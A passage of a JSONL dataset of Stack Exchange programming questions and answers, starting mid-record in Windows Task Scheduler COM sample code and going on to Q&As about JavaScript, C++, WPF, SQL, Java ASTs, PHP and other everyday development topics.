pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());\n    if( FAILED(hr) )\n    {\n        printf(\"ITaskService::Connect failed: %x\", hr );\n        pService->Release();\n        CoUninitialize();\n        return 1;\n    }\n\n    //  ------------------------------------------------------\n    //  Get the pointer to the root task folder.  This folder will hold the\n    //  new task that is registered.\n    ITaskFolder *pRootFolder = NULL;\n    hr = pService->GetFolder( _bstr_t( L\"\\\\\") , &pRootFolder );\n    if( FAILED(hr) )\n    {\n        printf(\"Cannot get Root Folder pointer: %x\", hr );\n        pService->Release();\n        CoUninitialize();\n        return 1;\n    }\n\n    //  Check if the same task already exists. If the same task exists, remove it.\n    hr = pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );\n\n    //  Create the task builder object to create the task.\n    ITaskDefinition *pTask = NULL;\n    hr = pService->NewTask( 0, &pTask );\n\n    pService->Release();  // COM clean up.  Pointer is no longer used.\n    if (FAILED(hr))\n    {\n        printf(\"Failed to CoCreate an instance of the TaskService class: %x\", hr);\n        pRootFolder->Release();\n        CoUninitialize();\n        return 1;\n    }\n\n    //  ------------------------------------------------------\n    //  Get the trigger collection to insert the registration trigger.\n    ITriggerCollection *pTriggerCollection = NULL;\n    hr = pTask->get_Triggers( &pTriggerCollection );\n    if( FAILED(hr) )\n    {\n        printf(\"\\nCannot get trigger collection: %x\", hr );\n  CLEANUP\n        return 1;\n    }\n\n    //  Add the registration trigger to the task.\n    ITrigger *pTrigger = NULL;\n\n    hr = pTriggerCollection->Create( TASK_TRIGGER_REGISTRATION, &pTrigger );     \n    pTriggerCollection->Release();  // COM clean up.  Pointer is no longer used.\n    if( FAILED(hr) )\n    {\n        printf(\"\\nCannot add registration trigger to the Task %x\", hr );\n        CLEANUP\n        return 1;\n    }\n    pTrigger->Release();\n\n    //  ------------------------------------------------------\n    //  Add an Action to the task.     \n    IExecAction *pExecAction = NULL;\n    IActionCollection *pActionCollection = NULL;\n\n    //  Get the task action collection pointer.\n    hr = pTask->get_Actions( &pActionCollection );\n    if( FAILED(hr) )\n    {\n        printf(\"\\nCannot get Task collection pointer: %x\", hr );\n        CLEANUP\n        return 1;\n    }\n\n    //  Create the action, specifying that it is an executable action.\n    IAction *pAction = NULL;\n    hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );\n    pActionCollection->Release();  // COM clean up.  Pointer is no longer used.\n    if( FAILED(hr) )\n    {\n        printf(\"\\npActionCollection->Create failed: %x\", hr );\n        CLEANUP\n        return 1;\n    }\n\n    hr = pAction->QueryInterface( IID_IExecAction, (void**) &pExecAction );\n    pAction->Release();\n    if( FAILED(hr) )\n    {\n        printf(\"\\npAction->QueryInterface failed: %x\", hr );\n        CLEANUP\n        return 1;\n    }\n\n    //  Set the path of the executable to the user supplied executable.\n   hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) );  \n\n    if( FAILED(hr) )\n    {\n        printf(\"\\nCannot set path of executable: %x\", hr );\n        pExecAction->Release();\n        CLEANUP\n        return 1;\n    }\n    hr = pExecAction->put_Arguments( _bstr_t( L\"\" ) );  \n\n   if( FAILED(hr) )\n    {\n        printf(\"\\nCannot set arguments of executable: %x\", hr );\n        pExecAction->Release();\n        CLEANUP\n        return 1;\n    }\n\n    //  ------------------------------------------------------\n    //  Save the task in the root folder.\n    IRegisteredTask *pRegisteredTask = NULL;\n    hr = pRootFolder->RegisterTaskDefinition(\n            _bstr_t( wszTaskName ),\n            pTask,\n      TASK_CREATE, \n_variant_t(_bstr_t( L\"S-1-5-32-545\")),//Well Known SID for \\\\Builtin\\Users group\n_variant_t(), \nTASK_LOGON_GROUP,\n            _variant_t(L\"\"),\n            &pRegisteredTask);\n    if( FAILED(hr) )\n    {\n        printf(\"\\nError saving the Task : %x\", hr );\n        CLEANUP\n        return 1;\n    }\n    printf(\"\\n Success! Task successfully registered. \" );\n    for (i=0; i<100; i++)//give 10 seconds for the task to start\n{\npRegisteredTask->get_State(&taskState);\nif (taskState == TASK_STATE_RUNNING)\n{\nprintf(\"\\nTask is running\\n\");\nbreak;\n}\nSleep(100);\n}\nif (i>= 100) printf(\"Task didn't start\\n\");\n\n    //Delete the task when done\n    hr = pRootFolder->DeleteTask(\n            _bstr_t( wszTaskName ),\n            NULL);\n    if( FAILED(hr) )\n    {\n        printf(\"\\nError deleting the Task : %x\", hr );\n        CLEANUP\n        return 1;\n    }\n\n    printf(\"\\n Success! Task successfully deleted. \" );\n\n//  Clean up.\n    CLEANUP\n    CoUninitialize();\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.582790"}
{"id": "hf_d93478dc7ed9", "question": "<p>Is there a simple way to convert a string to Title Case? E.g. <code>john smith</code> becomes <code>John Smith</code>. I'm not looking for something complicated like <a href=\"http://ejohn.org/blog/title-capitalization-in-javascript/\" rel=\"noreferrer\">John Resig's solution</a>, just (hopefully) some kind of one- or two-liner.</p>\n", "question_body": "", "answer": "```\n```\nvar toMatch = \"john w. smith\";\nvar result = toMatch.replace(/(\\w)(\\w*)/g, function (_, i, r) {\n      return i.toUpperCase() + (r != null ? r : \"\");\n    }\n)\n```\n```\nSeems to work...\nTested with the above, \"the quick-brown, fox? /jumps/ ^over^ the ¡lazy! dog...\" and \"C:/program files/some vendor/their 2nd application/a file1.txt\".\nIf you want 2Nd instead of 2nd, you can change to\n```\n/([a-z])(\\w*)/g\n```\n.\nThe first form can be simplified as:\n```\n```\nfunction toTitleCase(toTransform) {\n  return toTransform.replace(/\\b([a-z])/g, function (_, initial) {\n      return initial.toUpperCase();\n  });\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.633593"}
{"id": "hf_d665965b892e", "question": "<p>I have an old project that was built using visual studio 2003 and I recompiled it with vs2005 recently.  However, during runtime, I get the following error:</p>\n\n<p>list iterator not incrementable</p>\n\n<p>I traced the program to this function:</p>\n\n<pre><code>void InputQueue::update()\n{\n    list&lt;PCB&gt;::iterator iter;\n    list&lt;PCB&gt;::iterator iterTemp;\n    for(iter = begin(); iter != end(); iter++)\n    {\n        if(iter-&gt;arrivalTime == 0)\n        {           \n            ReadyQueue::getInstance()-&gt;add(*iter);\n            iterTemp = iter;\n            iter++;\n            erase(iterTemp);\n        }\n    }\n}\n</code></pre>\n\n<p>I'm not a C++ expert and this is as far as the VS debugger got me.  Could somebody explain to me what the problem is?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Notice that if\n```\niter->arrivalTime == 0\n```\n, then the list iterator gets incremented twice: once before element removal, and once again at the end of the loop.\nIf the item to be removed is the last item in the list, this will obviously not work correctly. I dare say that it never did work correctly even in VS2003, but VS2005 alerts you about it better. :-)\nRemember, it's undefined behaviour to iterate past\n```\nend()\n```\n. Absolutely anything can happen, such as program crash, or (in this case) an error message.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.658222"}
{"id": "hf_0bb0af557098", "question": "<p>The rich text editor must be implemented in Java, provide Swing support, and preferably be open source.</p>\n\n<p>I'm looking to integrate it into an existing Java/Swing application. </p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "This is probably not as drop-in-place as what you were after... but JTextPane supports rich text and HTML. \nIts trivial to get it to\ndisplay\nrtf or html, just set the encoding type before you fill it with content.\nAs for making the little \"B\" and \"\nI\n\" etc style-modifying buttons, well if it came down to it, in a pinch that wouldnt be very hard to make yourself. \nThink JButtons with Icons set. Their listeners get JTextPane's current selection start and end index positions like this :\n```\njpane.getSelectionStart()\n```\nor\n```\njpane.getSelectionEnd()\n```\nand then insert opening and closing html/rtf tags at those locations.\nUndo is easy too - maintain a simple stack of the string contents of the Jpanel, every time the user does an edit action, a simple\n```\nhistory.push(jpane.getText())\n```\nwould store the state, and the undo button would be as simple as\n```\njpane.setText(history.pop())\n```\n.\nI/you could make one with B,\nI\n& undo in around 30 min I reckon - other buttons like lists will take longer, but not much so.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.682446"}
{"id": "hf_3b14c33c0f2c", "question": "<p>i have a wordpress blog and want to give people the same user experience for adding comments that is in stackoverflow.  There are a number of comments ajax plugins out there but i can't find a working one that allows you to inline on the main page, go in and add comments without first drilling down into a seperate single post page.</p>\n\n<p>Can anyone help here with either a wordpress plugin or php code to do this.</p>\n", "question_body": "", "answer": "I think\nAJAXed Wordpress\ndoes what you're looking for, among other things:\nAJAXed Wordpress\nAJAXed Wordpress (AWP) harnesses the power of both AJAX and Wordpress to improve\nthe user experience, the administration capabilities and the design potential of\nany Wordpress based blog. It works on all WordPress versions from 2.1 - 2.6.\nSome of AWP’s features include loading posts inline,\ninline comments\n, threaded\ncomments, AJAX comment submission, AJAX Navigation, live comment preview and much\nmore. AWP is endlessly customizable and extensible. Even though AWP provides many\nfeatures, you are never forced to use features that you don’t want. All aspects of\nthe plugin are easily customized through a single Administration panel.\nDemo is available here\nhttp://wordpress.mu/\nand you can see the inline comments in action. Looks like what you were asking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.706860"}
{"id": "hf_9ad36f7a62db", "question": "<p>I am an Ajax developer and I want to build a Flash application. Given my previous experience with JavaScript, what do you thing will be the easiest way to learn ActionScript and what are the obstacles I might encounter? </p>\n", "question_body": "", "answer": "Don't whatever you do start by buying Flash Pro. It is a designer tool and is really rather crap for developing code. By all means invest in it later, but it is a hindrance to coders getting into ActionScript; not an aid. I'd recommend getting yourself either\nFlex Builder\nif you can afford it, or an open source ActionScript IDE like\nFlashDevelop\nif not.\nThen grab yourself a couple of books on ActionScript and/ or Flex and start reading. Also it is worth downloading any examples of simple Flash apps you can find that include code in order to learn how others do things.\nSomething to bear in mind when moving from JavaScript to ActionScript is that AS1 was very JavaScript-like, AS2 was less so, and there is little similarity between JavaScript and AS3. Thus if you have the time and inclination, try and pick up a cheap copy of an AS1 and AS2 book and skim through them first to understand the language's history. You'll likely get into AS3 far faster that way. Of course if you are aware of ECMAScript v4 (which will likely now never see the light of day), then you can jump straight to AS3 with confidence.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.743495"}
{"id": "hf_4c67b9ae7c54", "question": "<p>I would like to declare a dropdown box in a view in an ASP.NET MVC application, for letting the user select a lookup value. I know how to declare plain text boxes but is there an official helper for declaring dropdown boxes (date time pickers and the rest)?.</p>\n\n<p>I also don't know what structure I should pass to my view for giving the values to the dropdown box. I assume I need both an id and a description.</p>\n\n<p>Finally, how do I pass the selected id from the dropdown box back to my action in the controller?</p>\n", "question_body": "", "answer": "You might check out this blog entry by Scott Guthrie about\nHandling Form Edit Post Scenarios\n. He uses a drop down list in an example of his.\nYou can provide a list of complex objects to the drop down list too (Scott Guthrie's example doesn't show that, but it alludes to it).\nYou can do something like this...\n```\n```\n<%= Html.DropDownList(\"Select One\", \"CategoryId\", ViewData.Model.Categories, \"Id\", \"Name\", ViewData.Model.SelectedCategoryId)) %>\n```\n```\n\"Id\" and \"Name\" refer to properties on your ViewData.Model.Categories list of objects.\nIf SelectedCategoryId has a value, then it will default the dropdownlist.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.779190"}
{"id": "hf_65ca9494d2c6", "question": "<p>Is it possible to set a default value for columns in JPA, and if, how is it done using annotations?</p>\n", "question_body": "", "answer": "This isn't possible in JPA.\nHere's what you\ncan\ndo with the Column annotation:\nhttp://java.sun.com/javaee/5/docs/api/javax/persistence/Column.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.840496"}
{"id": "hf_104f1107944c", "question": "<p>Now that <code>shared_ptr</code> is in tr1, what do you think should happen to the use of <code>std::auto_ptr</code>? They both have different use cases, but all use cases of <code>auto_ptr</code> can be solved with <code>shared_ptr</code>, too. Will you abandon <code>auto_ptr</code> or continue to use it in cases where you want to express explicitly that only one class has ownership at any given point?</p>\n\n<p>My take is that using <code>auto_ptr</code> can add clarity to code, precisely by adding nuance and an indication of the design of the code, but on the other hand, it add yet another subtle issue when training new programmers: they need to understand smart pointers and the fine details of how they work. When you use only one smart pointer everywhere, you can just lay down a rule 'wrap all pointers in <code>shared_ptr</code>' and be done with it.</p>\n\n<p>What's your take on this?</p>\n", "question_body": "", "answer": "I believe that \"wrap all pointers in\n```\nshared_ptr\n```\n\" should indeed be the default mode, and is suitable advice to give to your junior coders. However, in the special ownership cases that you mentioned,\n```\nauto_ptr\n```\nis indeed more appropriate and its use should be encouraged under such circumstances.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.876519"}
{"id": "hf_da1ef4542602", "question": "<p>Is it possible to access the Abstract Syntax Tree(AST) inside the javac.exe programmatically? Could you provide an example?</p>\n", "question_body": "", "answer": "Yes, it is possible, but only since Java 6.\nPeter von der Ahé\ntalks about the two JSRs in\nthis interview\n. Of JSR 199:\nThe JSR 199 Compiler API consists of three things: The first one basically allows you to invoke a compiler via the API. Second, the API allows you to customize how the compiler finds and writes out files. I mean files in the abstract sense, since the files the compiler deals with aren't necessarily on the file system. JSR 199's file abstraction allows you to have files in a database, and to generate output directly to memory, for example. Finally, the JSR 199 API lets you collect diagnostics from the compiler in a structured way so that you can easily transform error messages, for instance, into lines in an IDE's editor.\nJSR 269 is the annotation processing API.\nThis article\ngives an excellent overview of accessing the\nCompiler Tree API\n. The section \"\nAccessing the Abstract Syntax Tree: The Compiler Tree API\n\" seems particularly suitable for your question.\nDepending on what you're doing, you may also want to look at the\nJackpot Rule Language\n, which is a standalone refactoring engine that plugins into the Compiler Tree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.901020"}
{"id": "hf_4a3c4ae93ca6", "question": "<p>What is the most efficient way of turning the list of values of a dictionary into an array?</p>\n\n<p>For example, if I have a <code>Dictionary</code> where <code>Key</code> is <code>String</code> and <code>Value</code> is <code>Foo</code>, I want to get <code>Foo[]</code></p>\n\n<p>I am using VS 2005, C# 2.0</p>\n", "question_body": "", "answer": "```\n```\n// dict is Dictionary<string, Foo>\n\nFoo[] foos = new Foo[dict.Count];\ndict.Values.CopyTo(foos, 0);\n\n// or in C# 3.0:\nvar foos = dict.Values.ToArray();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.926169"}
{"id": "hf_af829a3ce8bb", "question": "<p>Could you provide an example of accessing the Eclipse Abstract Syntax Tree programmatically for a given piece of code?</p>\n\n<p>eg getting the AST for:</p>\n\n<hr>\n\n<h2>Class1.java</h2>\n\n<pre><code>package parseable;\n\npublic class Class1 {\n\n/**\n * @param args\n */\npublic static void main(String[] args) {\n    System.out.println(\"Hello world!\");\n}\n</code></pre>\n\n<p>}</p>\n", "question_body": "", "answer": "It is not an\nexact\nanswer, that may give you a place where to start:\nAs said in this\nquestion\n,\nA full example is available in this\neclipse corner article\n, also more details in the\neclipse help\n. And in the slide 59 of\nthis presentation\n, you see how to apply a change to your source code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.950711"}
{"id": "hf_d22fef4d5148", "question": "<p>How can I do the Ruby method <a href=\"http://www.ruby-doc.org/core/classes/Array.html#M002241\" rel=\"noreferrer\">\"Flatten\" Ruby Method</a> in C#. This method flattens a jagged array into a single-dimensional array.</p>\n\n<p>For example:</p>\n\n<pre><code>s = [ 1, 2, 3 ]           #=&gt; [1, 2, 3]\nt = [ 4, 5, 6, [7, 8] ]   #=&gt; [4, 5, 6, [7, 8]]\na = [ s, t, 9, 10 ]       #=&gt; [[1, 2, 3], [4, 5, 6, [7, 8]], 9, 10]\na.flatten                 #=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9, 10\n</code></pre>\n", "question_body": "", "answer": "Recursive solution:\n```\n```\nIEnumerable Flatten(IEnumerable array)\n{\n    foreach(var item in array)\n    {\n        if(item is IEnumerable)\n        {\n            foreach(var subitem in Flatten((IEnumerable)item))\n            {\n                yield return subitem;\n            }\n        }\n        else\n        {\n            yield return item;\n        }\n    }\n}\n```\n```\nEDIT 1:\nJon\nexplains in the comments why it cannot be a generic method, take a look!\nEDIT 2:\nMatt\nsuggested making it an extension method. Here you go, just replace the first line with:\n```\n```\npublic static IEnumerable Flatten(this IEnumerable array)\n```\n```\nand you can use it like this:\n```\n```\nforeach(var item in myArray.Flatten()) { ... }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:35.988457"}
{"id": "hf_c4e64cab62bc", "question": "<p>In WPF, there are two ways to set the focus to an element.<br>\nYou can either call the .Focus() method of the input element, or call Keyboard.Focus() with the input element as parameter.</p>\n\n<pre><code>// first way:\nitem.Focus();\n// alternate way:\nKeyboard.Focus(item);\n</code></pre>\n\n<p>What is the difference between these two? Are there special reasons to use one of them instead of the other in some cases?<br>\nSo far I noticed no difference - what ever method I used, the item always got logical focus as well as keyboard focus.</p>\n", "question_body": "", "answer": "As per\nWPF documentation on MSDN\n:\nIn WPF there are two main concepts that pertain to focus: keyboard focus and logical focus. Keyboard focus refers to the element that receives keyboard input and logical focus refers to the element in a focus scope that has focus.\nand\nAn element that has keyboard focus will also have logical focus, but an element that has logical focus does not necessarily have keyboard focus.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.013526"}
{"id": "hf_cd97cef73152", "question": "<p>The following code has a simple binding which binds the Text of the TextBlock named MyTextBlock to TextBox's Text and ToolTip property using the exact same Binding notation:</p>\n\n<pre><code>&lt;StackPanel&gt;\n    &lt;TextBlock x:Name=\"MyTextBlock\"&gt;Foo Bar&lt;/TextBlock&gt;\n    &lt;TextBox    Text=\"{Binding ElementName=MyTextBlock, Path=Text, StringFormat='It is: \\{0\\}'}\"\n             ToolTip=\"{Binding ElementName=MyTextBlock, Path=Text, StringFormat='It is: \\{0\\}'}\" /&gt;\n&lt;/StackPanel&gt;\n</code></pre>\n\n<p>The binding also uses the <a href=\"http://blogs.msdn.com/llobo/archive/2008/05/19/wpf-3-5-sp1-feature-stringformat.aspx\" rel=\"noreferrer\">StringFormat property introduced with .NET 3.5 SP1</a> which is working fine for the above Text property but seems to be broken for the ToolTip. The expected result is \"It is: Foo Bar\" but when you hover over the TextBox, the ToolTip shows only the binding value, not the string formatted value. Any ideas?</p>\n", "question_body": "", "answer": "ToolTips in WPF can contain anything, not just text, so they provide a ContentStringFormat property for the times you just want text. You'll need to use the expanded syntax as far as I know:\n```\n```\n<TextBox ...>\n  <TextBox.ToolTip>\n    <ToolTip \n      Content=\"{Binding ElementName=myTextBlock,Path=Text}\"\n      ContentStringFormat=\"{}It is: {0}\"\n      />\n  </TextBox.ToolTip>\n</TextBox>\n```\n```\nI'm not 100% sure about the validity of binding using the ElementName syntax from a nested property like that, but the ContentStringFormat property is what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.038583"}
{"id": "hf_48ae025a24fd", "question": "<p>In a SQL-database I make some selects, that get an duration (as result of a subtraction between two dates) in seconds as an int. But I want to format this result in a human-readable form like 'hh:mm' or 'dd:hh'. Is that possible in SQL and how can I realize this?</p>\n", "question_body": "", "answer": "In SQL 2005, You can use the following:\n```\n```\nselect convert(varchar(8), dateadd(second, [SecondsColumn], 0),  108)\n```\n```\nWhich first converts the seconds into a date after 1900-01-01, and then gets the hh:mm:ss part.\nIf the column is more than 24 hours, this will roll over, if you want days and then hours in that case just do something like:\n```\n```\ncase when SecondsColumn> (24*60*60) \n        then \n            cast(datepart(day,datediff(dd, 0, dateadd(second, SecondsColumn, 0))) as varchar(4))\n        +   'd' + convert(varchar(2), dateadd(second, SecondsColumn, 0), 108) \n    else\n            convert(varchar(8), dateadd(second, SecondsColumn, 0), 108) \n    end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.063196"}
{"id": "hf_850b47fe3e86", "question": "<p>I'm trying to select data from a table defined similar to the following :</p>\n\n<pre><code>Column     |    Data Type\n-------------------------\nId         |    Int\nDataType   |    Int\nLoggedData |    XML\n</code></pre>\n\n<p>but I only want to select those rows with a specific DataType value, and that contain a string (or evaluates a piece of XPath) in the LoggedData column.</p>\n\n<p>A quick Google search turned up nothing useful, and I am in a bit of a rush to get an answer...  I'll carry on searching, but if anyone can help me out on this in the mean time, I'd really appreciate it.</p>\n\n<p><strong>EDIT</strong> _ Clarification</p>\n\n<p>So, what I'm after is something like this, but in the correct format...</p>\n\n<pre><code>select Id, LoggedData from myTable where DataType = 29 and LoggedData.query('RootNode/ns1:ChildNode[@value=\"searchterm\"]');\n</code></pre>\n\n<p>Still might not be clear...</p>\n", "question_body": "", "answer": "Is this not doing the trick for you?\n```\n```\nSELECT\n  Id, \n  LoggedData \nFROM\n  myTable \nWHERE\n  DataType = 29 \n  AND LoggedData.exist('RootNode/ns1:ChildNode[@value=\"searchterm\"]') = 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.103266"}
{"id": "hf_a59d41abc4ab", "question": "<p>What is an example of a fast SQL to get duplicates in datasets with hundreds of thousands of records. I typically use something like:</p>\n\n<pre><code>SELECT afield1, afield2 FROM afile a \nWHERE 1 &lt; (SELECT count(afield1) FROM afile b WHERE a.afield1 = b.afield1);\n</code></pre>\n\n<p>But this is quite slow.</p>\n", "question_body": "", "answer": "This is the more direct way:\n```\n```\nselect afield1,count(afield1) from atable \ngroup by afield1 having count(afield1) > 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.127794"}
{"id": "hf_494a88170554", "question": "<p>This <a href=\"http://my.php.net/static\" rel=\"nofollow noreferrer\">example</a> is from php.net:</p>\n\n<pre><code>&lt;?php\nfunction Test()\n{\n    static $a = 0;\n    echo $a;\n    $a++;\n}\n?&gt;\n</code></pre>\n\n<p>And this is my code:</p>\n\n<pre><code>function getNextQuestionID()\n{\n    static $idx = 0;\n    return $idx++;\n}\n</code></pre>\n\n<p>And I use it in JavaScript:</p>\n\n<pre><code>'quizID=' + \"&lt;?php echo getNextQuestionID(); ?&gt;\"\n</code></pre>\n\n<p>Returns 0 everytime. Why?</p>\n", "question_body": "", "answer": "I believe you misunderstand what static vars do. Try this code and you may understand better:\n```\n```\necho getNextQuestionID() . \", \" getNextQuestionID() . \", \" getNextQuestionID();\n```\n```\nAnd you will see what I mean.\nThe static var only lives as long as the script does.\nThe reason it is returning 0 on the first run instead of 1 is because you are using the postfix operator $var++ instead of the prefix version - ++$var. The difference is is that the increment only gets applied when using the postfix operator after the function returns - but if you use the prefix operator it is applied before the function returns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.151903"}
{"id": "hf_3b4440253125", "question": "<p>I'm trying to do the following without too much special case code to deal with invalidated POSITIONs etc:</p>\n\n<p>What's the best way to fill in the blanks?</p>\n\n<pre><code>void DeleteUnreferencedRecords(CAtlMap&lt;Record&gt;&amp; records)\n{\n   for(____;____;____)\n   {\n      if( NotReferencedElsewhere(record) )\n      {\n        // Delete record\n        _______;\n      }\n   }\n}\n</code></pre>\n", "question_body": "", "answer": "My first thoughts would be the save the current POSITION before calling\n```\nGetNext\n```\n, then, if you delete the element you can reset it.  However, perhaps the safest way would be to create a new map containing the elements you want to keep, else you could be relying on how the internal implementation of POSITION works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.176666"}
{"id": "hf_e43ab0f6467c", "question": "<p>I am fairly new to WPF. I want to develop a datagrid control which supports databinding.</p>\n\n<p>There is a lot of information available about databinding to existing controls, but I cannot find any information how to develop a control from scratch which supports databinding. </p>\n\n<p>I do not expect a simple answer to this question, a link to get me started would be nice.</p>\n", "question_body": "", "answer": "Are you planning to build a DatGrid control?. There is one here\nhttp://www.codeplex.com/wpf/Release/ProjectReleases.aspx?ReleaseId=14963\nBinding is one of the important features of WPF, Dependancyproperty actually gives a control the ability to bind and listen to data change events(Data Binding).\nWhen you develop your control you dont need to do anything special to make the DataBinding work, just need to define appropriate Dependency properties to the control,\nYou can read more about DataBinding here\nhttp://msdn.microsoft.com/en-us/library/ms752347.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.201044"}
{"id": "hf_d81f91c6ce9f", "question": "<p>Is there any way to automatically rename accessor/mutator when a variable they get/set gets refactored -> renamed (Eclipse 3.4)?</p>\n", "question_body": "", "answer": "1 - When you select Refactor->Rename on a variable, Eclipse prompts you to enter the new name in an \"in-line\" box. Directly below it, there is a help message and next to it a small icon (an arrow going down).Click on that arrow and then select \"Open Rename Dialog\". A new pop-up appears with the checkboxes you need.\n2 - Alternatively, select the variable you want to change and press\ntwice\nAlt+Shift+R. Again check the getter/setter checkboxes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.225659"}
{"id": "hf_45aef89fc314", "question": "<p>Is there any good bug tracker based on .NET which is free?</p>\n", "question_body": "", "answer": "Two bug trackers I know:\nBugTracker.NET\nBugTracker.NET is a free, open-source,\n  web-based bug tracker or customer\n  support issue tracker written using\n  ASP.NET, C#, and Microsoft SQL Server\n  (or its free cousin, SQL Server\n  Express).\nBugNET\nBugNET is an issue tracking and\n  project issue management solution\n  built using the ASP.NET web\n  application framework. Email\n  notifications, reporting and per\n  project configuration of fields and\n  values allows efficient management of\n  bugs, feature requests, and other\n  issues for projects of any scale.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:36.249871"}
